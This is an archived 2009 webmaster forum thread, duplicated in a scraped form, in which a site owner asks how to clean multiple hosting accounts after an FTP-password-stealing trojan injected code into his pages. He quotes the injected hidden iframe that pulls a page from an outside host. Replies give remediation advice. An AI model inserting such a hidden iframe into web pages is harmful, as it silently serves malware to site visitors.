Virus caused google flagging need advice - GoFuckYourself.com

Otter · 08-01-2009, 11:01 AM

ok
I have Multiple sites on multiple shared hosting. several domains flagged with the virus warning on google, so i found the iframe virus thing and deleted from the page and google recheck removed the warning, well today i see warnings on more of my listings on google different domains on different shared hosting companies. I think it came from my computer when i ftp but now that i have cleaned my computer i am worried all the servers are infected also so how do i clean all my different shared hosting accounts at 6 different places webair,phatservers,bluegravity,namecheap.occhostin g before i ftp clean pages back into them

baddog · 08-01-2009, 11:07 AM

Yeah, you are probably the cause.

1. Virus scan your pc
2. change all your passwords (make it a difficult pass, don't use words)
3. Ask your host to check, otherwise, you will have to do it yourself, but they should help.

seeandsee · 08-01-2009, 11:08 AM

that hurts!

Otter · 08-01-2009, 11:11 AM

how do i clean the hosting accounts if i dont trust they will do it?

Otter · 08-01-2009, 11:22 AM

this is somehow on my pages i have no idea what or how it got there

<iframe src="http://x9f.ru:8080/index.php" width=112 height=176 style="visibility: hidden"></iframe>

Unlimited · 08-01-2009, 02:27 PM

bump bump

who · 08-01-2009, 02:32 PM

Quote:

Originally Posted by Otter

this is somehow on my pages i have no idea what or how it got there

<iframe src="http://x9f.ru:8080/index.php" width=112 height=176 style="visibility: hidden"></iframe>

pwnt

flashfreak · 08-01-2009, 02:40 PM

I had this shit on one of my PCs, it's called 'iframer heur' . even if you have a firewall the virus spreads.
if you're using cuteftp or filezilla it steals your ftp passwords and puts those iframes on every page that has 'index' in the filename (it makes it recursively, on all folders)

right now the only antivirus that detects it is Kasperksy but there's no antivirus that cures an infected computer.

the solution is to reinstall windows... or better: buy a mac

st0ned · 08-01-2009, 02:40 PM

1) Using an exploitable script (upgrade if you can)
2) Leaving your .htaccess open
3) As baddog mentioned scan your PC and host end, there are viruses which attack clients like Filezilla and use the exploit to grab access.

Otter · 08-01-2009, 03:09 PM

I have another laptop not infected , but how can i be sure this virus is not on the server someplace do i need all 6 new hosting company also

Otter · 08-01-2009, 03:17 PM

even if i use my other computer its just waiting for me inside my hosting acct at webair, occhosting,bluegravity, and 3 othe hosts i use

flashfreak · 08-02-2009, 12:27 AM

once you get in from the other computer clean the files and change the password.
if you really have to ftp from the infected computer use another ftp program that doesn't send passwords to the virus, like FireFTP (it's a firefox extension)

Marshal · 08-02-2009, 06:07 AM

i love listening to people that loves to preach... people that have no idea about how search engines nor simple webmaster things actually work...

1. tell your host. They need to remove the infected machine from service and replace it with one that hasn't been compromised and is up to date with security fixes.

2. examine any server side scripts you have to security vulnerabilities If you are using third party scripts - make sure you are using the most recent version and that there are no reported vulnerabilities. In case your scripts are not infected, it's probably DNS poisoning or DNS hack.

3. Use the google webmaster tools. You can notify them to rescan pages.

oh, and i forgot to tell ya: you don't have to rescan your pc, because YOU ARE NOT INFECTED!

flashfreak · 08-11-2009, 09:24 AM

nettrust: STFU newb !

did you fucking read this line : "all the servers are infected also so how do i clean all my different shared hosting accounts at 6 different places webair,phatservers,bluegravity,namecheap.occhostin g before i ftp clean pages back into them" ???

he has a trojan that sniffs his ftp passwords.

08-01-2009, 11:01 AM	#1
Otter Confirmed User Join Date: Jul 2003 Posts: 224	Virus caused google flagging need advice ok I have Multiple sites on multiple shared hosting. several domains flagged with the virus warning on google, so i found the iframe virus thing and deleted from the page and google recheck removed the warning, well today i see warnings on more of my listings on google different domains on different shared hosting companies. I think it came from my computer when i ftp but now that i have cleaned my computer i am worried all the servers are infected also so how do i clean all my different shared hosting accounts at 6 different places webair,phatservers,bluegravity,namecheap.occhostin g before i ftp clean pages back into them

08-01-2009, 11:08 AM	#3
seeandsee Check SIG! Industry Role: Join Date: Mar 2006 Location: Europe (Skype: gojkoas) Posts: 50,945	that hurts! __________________ BUY MY SIG - 50$/Year Contact here

08-01-2009, 02:40 PM	#8
flashfreak Confirmed User Industry Role: Join Date: Jun 2002 Location: cloud number 9 Posts: 4,396	I had this shit on one of my PCs, it's called 'iframer heur' . even if you have a firewall the virus spreads. if you're using cuteftp or filezilla it steals your ftp passwords and puts those iframes on every page that has 'index' in the filename (it makes it recursively, on all folders) right now the only antivirus that detects it is Kasperksy but there's no antivirus that cures an infected computer. the solution is to reinstall windows... or better: buy a mac __________________ SEO Mogul \| ICQ: 163671223

08-01-2009, 02:40 PM	#9
st0ned Confirmed User Industry Role: Join Date: Mar 2007 Location: Arizona Posts: 8,437	1) Using an exploitable script (upgrade if you can) 2) Leaving your .htaccess open 3) As baddog mentioned scan your PC and host end, there are viruses which attack clients like Filezilla and use the exploit to grab access. __________________ Conversion Sharks - 1,000+ adult dating offers, traffic management, and consistently high payouts. We will guarantee and beat your current EPC to win your dating traffic! Skype: ConversionSharks \|\| Email: info /@/ conversionsharks.com

08-02-2009, 12:27 AM	#12
flashfreak Confirmed User Industry Role: Join Date: Jun 2002 Location: cloud number 9 Posts: 4,396	once you get in from the other computer clean the files and change the password. if you really have to ftp from the infected computer use another ftp program that doesn't send passwords to the virus, like FireFTP (it's a firefox extension) __________________ SEO Mogul \| ICQ: 163671223

08-01-2009, 11:07 AM	#2
baddog So Fucking Banned Industry Role: Join Date: Apr 2001 Location: the beach, SoCal Posts: 107,090	Yeah, you are probably the cause. 1. Virus scan your pc 2. change all your passwords (make it a difficult pass, don't use words) 3. Ask your host to check, otherwise, you will have to do it yourself, but they should help.

08-01-2009, 11:11 AM	#4
Otter Confirmed User Join Date: Jul 2003 Posts: 224	how do i clean the hosting accounts if i dont trust they will do it?

08-01-2009, 11:22 AM	#5
Otter Confirmed User Join Date: Jul 2003 Posts: 224	this is somehow on my pages i have no idea what or how it got there <iframe src="http://x9f.ru:8080/index.php" width=112 height=176 style="visibility: hidden"></iframe>

08-01-2009, 02:27 PM	#6
Unlimited Confirmed User Industry Role: Join Date: Nov 2005 Posts: 1,300	bump bump

08-01-2009, 03:09 PM	#10
Otter Confirmed User Join Date: Jul 2003 Posts: 224	I have another laptop not infected , but how can i be sure this virus is not on the server someplace do i need all 6 new hosting company also

08-01-2009, 03:17 PM	#11
Otter Confirmed User Join Date: Jul 2003 Posts: 224	even if i use my other computer its just waiting for me inside my hosting acct at webair, occhosting,bluegravity, and 3 othe hosts i use

08-02-2009, 06:07 AM	#13
Marshal Biz Dev and SEO Industry Role: Join Date: Jun 2005 Posts: 15,139	i love listening to people that loves to preach... people that have no idea about how search engines nor simple webmaster things actually work... 1. tell your host. They need to remove the infected machine from service and replace it with one that hasn't been compromised and is up to date with security fixes. 2. examine any server side scripts you have to security vulnerabilities If you are using third party scripts - make sure you are using the most recent version and that there are no reported vulnerabilities. In case your scripts are not infected, it's probably DNS poisoning or DNS hack. 3. Use the google webmaster tools. You can notify them to rescan pages. oh, and i forgot to tell ya: you don't have to rescan your pc, because YOU ARE NOT INFECTED! __________________ --- Busy ranking websites on Google... Last edited by Marshal; 08-02-2009 at 06:12 AM..

08-11-2009, 09:24 AM	#14
flashfreak Confirmed User Industry Role: Join Date: Jun 2002 Location: cloud number 9 Posts: 4,396	nettrust: STFU newb ! did you fucking read this line : "all the servers are infected also so how do i clean all my different shared hosting accounts at 6 different places webair,phatservers,bluegravity,namecheap.occhostin g before i ftp clean pages back into them" ??? he has a trojan that sniffs his ftp passwords. __________________ SEO Mogul \| ICQ: 163671223